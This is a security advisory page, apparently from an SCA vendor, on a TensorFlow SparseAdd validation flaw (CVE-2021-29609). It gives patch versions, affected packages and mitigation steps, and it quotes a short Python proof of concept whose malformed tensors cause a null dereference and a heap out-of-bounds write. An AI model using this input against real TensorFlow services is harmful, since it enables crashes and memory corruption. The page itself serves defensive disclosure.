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GHSA-cjc7-49v2-jp64

MEDIUMFix: tensorflow/tensorflow@41727ff

GHSA-cjc7-49v2-jp64 is a medium-severity (CVSS 5.3) CWE-665 vulnerability in tensorflow. 1 public exploit reference exists, so weaponization risk is real. O3 Security confirms whether GHSA-cjc7-49v2-jp64 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Incomplete validation in `SparseAdd`

Also known asBIT-tensorflow-2021-29609CVE-2021-29609PYSEC-2021-246PYSEC-2021-537PYSEC-2021-735
Published
May 21, 2021
Updated
Jul 8, 2026
Affected
12 pkgs
Patched
12 / 12
Exploits
1 known
Exploitation data as of Jul 8, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Real-World Exposure

12 pkgs affected
🐍tensorflow🐍tensorflow🐍tensorflow🐍tensorflow🐍tensorflow-cpu🐍tensorflow-cpu🐍tensorflow-cpu🐍tensorflow-cpu+4 more

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Impact

Incomplete validation in SparseAdd results in allowing attackers to exploit undefined behavior (dereferencing null pointers) as well as write outside of bounds of heap allocated data:

import tensorflow as tf

a_indices = tf.zeros([10, 97], dtype=tf.int64)
a_values = tf.zeros([10], dtype=tf.int64)
a_shape = tf.zeros([0], dtype=tf.int64)

b_indices = tf.zeros([0, 0], dtype=tf.int64)
b_values = tf.zeros([0], dtype=tf.int64)
b_shape = tf.zeros([0], dtype=tf.int64)
  
thresh = 0

tf.raw_ops.SparseAdd(a_indices=a_indices,
                    a_values=a_values,
                    a_shape=a_shape,
                    b_indices=b_indices,
                    b_values=b_values,
                    b_shape=b_shape,
                    thresh=thresh)

The implementation has a large set of validation for the two sparse tensor inputs (6 tensors in total), but does not validate that the tensors are not empty or that the second dimension of *_indices matches the size of corresponding *_shape. This allows attackers to send tensor triples that represent invalid sparse tensors to abuse code assumptions that are not protected by validation.

Patches

We have patched the issue in GitHub commit 6fd02f44810754ae7481838b6a67c5df7f909ca3 followed by GitHub commit 41727ff06111117bdf86b37db198217fd7a143cc.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Affected Packages

12 total 12 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPItensorflowall versions2.1.4
🐍PyPItensorflow2.2.0&&< 2.2.32.2.3
🐍PyPItensorflow2.3.0&&< 2.3.32.3.3
🐍PyPItensorflow2.4.0&&< 2.4.22.4.2
🐍PyPItensorflow-cpuall versions2.1.4
🐍PyPItensorflow-cpu2.2.0&&< 2.2.32.2.3
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tensorflow. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update tensorflow to 2.1.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-cjc7-49v2-jp64 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-cjc7-49v2-jp64 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-cjc7-49v2-jp64. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Impact Incomplete validation in `SparseAdd` results in allowing attackers to exploit undefined behavior (dereferencing null pointers) as well as write outside of bounds of heap allocated data: ```python import tensorflow as tf a_indices = tf.zeros([10, 97], dtype=tf.int64) a_values = tf.zeros([10], dtype=tf.int64) a_shape = tf.zeros([0], dtype=tf.int64) b_indices = tf.zeros([0, 0], dtype=tf.int64) b_values = tf.zeros([0], dtype=tf.int64) b_shape = tf.zeros([0], dtype=tf.int64) thresh = 0 tf.raw_ops.SparseAdd(a_indices=a_indices, a_values=a_values,
O3 Security · Impact-Aware SCA

Is GHSA-cjc7-49v2-jp64 in your dependencies?

O3 detects GHSA-cjc7-49v2-jp64 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-cjc7-49v2-jp64: Incomplete validation in… | O3 Security